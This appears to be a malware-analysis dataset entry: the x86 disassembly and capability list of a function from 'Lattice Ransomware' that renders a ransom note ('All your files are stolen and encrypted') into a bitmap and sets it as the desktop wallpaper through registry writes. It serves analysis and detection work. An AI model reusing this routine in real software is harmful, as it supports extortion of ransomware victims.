Function at 0x405350
Capabilities:
Capture screenshot
Change the wallpaper
Get common file path
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1284
call fcn.0041c2a0
cmp dword [0x4297fc], 0
push ebx
push esi
push edi
jne 0x4056e4
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x4056e4
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebx, eax
mov dword [ebp - 0x18], ebx
test ebx, ebx
je 0x4056db
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push edi
call esi
inc eax
push 0xa
and eax, 0xfffffffe
push edi
mov dword [ebp - 4], eax
call esi
inc eax
push 0x58
and eax, 0xfffffffe
push edi
mov dword [ebp - 8], eax
call esi
mov esi, dword [ebp - 8]
mov ecx, eax
mov eax, esi
cdq
idiv ecx
push str.Arial
push 0
push 2
push 0
push 7
push 1
push 0
push 0
push 0
push 0x200
push 0
push 0
lea eax, [eax + eax*2]
push 0
add eax, eax
push eax
call dword [sym.imp.GDI32.dll_CreateFontW]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4056d4
push eax
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
test eax, eax
je 0x4056cb
lea eax, [ebp - 0x1280]
push str.Lattice_Ransomware_r_n_r_nAll_your_files_are_stolen_and_encrypted_r_nFind_LATTICE_README.txt_file_r_nand_follow_instructions
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x74]
push ecx
push eax
lea eax, [ebp - 0x1280]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
test eax, eax
je 0x4056cb
push esi
push dword [ebp - 4]
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4056cb
push eax
push ebx
call dword [sym.imp.GDI32.dll_SelectObject]
test eax, eax
je 0x4056c2
push 0xffffff
push ebx
call dword [sym.imp.GDI32.dll_SetTextColor]
push 2
push ebx
call dword [sym.imp.GDI32.dll_SetBkMode]
push 0
push ebx
call dword [sym.imp.GDI32.dll_SetBkColor]
mov eax, dword [ebp - 0x70]
mov ecx, esi
add eax, eax
sar ecx, 1
sub ecx, eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 4]
push 0x211
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x1280]
mov dword [ebp - 0x68], ecx
push eax
push ebx
mov dword [ebp - 0x60], esi
call dword [sym.imp.USER32.dll_DrawTextW]
test eax, eax
je 0x4056c2
mov ecx, dword [ebp - 4]
mov eax, 0x4d42
imul esi, ecx
mov word [ebp - 0x34], ax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x2a], 0x36
mov dword [ebp - 0x5c], 0x28
add esi, esi
mov dword [ebp - 0x58], ecx
push esi
push 8
push dword [0x42a8e0]
lea eax, [esi + 0x36]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x32], eax
xor eax, eax
mov dword [ebp - 0x2e], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], 0x100001
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
jne 0x405574
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x80
call edi
push esi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x405550
mov ebx, dword [ebp - 0x18]
mov edi, eax
push 0
lea eax, [ebp - 0x5c]
push eax
push edi
push dword [ebp - 8]
push 0
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.GDI32.dll_GetDIBits]
test eax, eax
je 0x4056b0
lea eax, [ebp - 0x280]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x424d6c
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x4056b0
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [ebp - 0x10]
push 0
push ecx
push 0xe
lea ecx, [ebp - 0x34]
push ecx
push eax
call esi
push 0
lea eax, [ebp - 0x10]
push eax
push 0x28
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 8]
call esi
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x1c]
push edi
push dword [ebp - 8]
call esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push 0x424d8c
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40569d
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x424d84
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [eax*2 + 2]
push eax
push 0x424d84
push 1
push 0
push str.WallpaperStyle
push dword [ebp - 4]
call esi
push 0x424d88
call edi
lea eax, [eax*2 + 2]
push eax
push 0x424d88
push 1
push 0
push str.TileWallpaper
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0xc]
push 3
lea eax, [ebp - 0x280]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push edi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [ebp - 0x20]
push dword [ebp - 0x14]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x24]
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret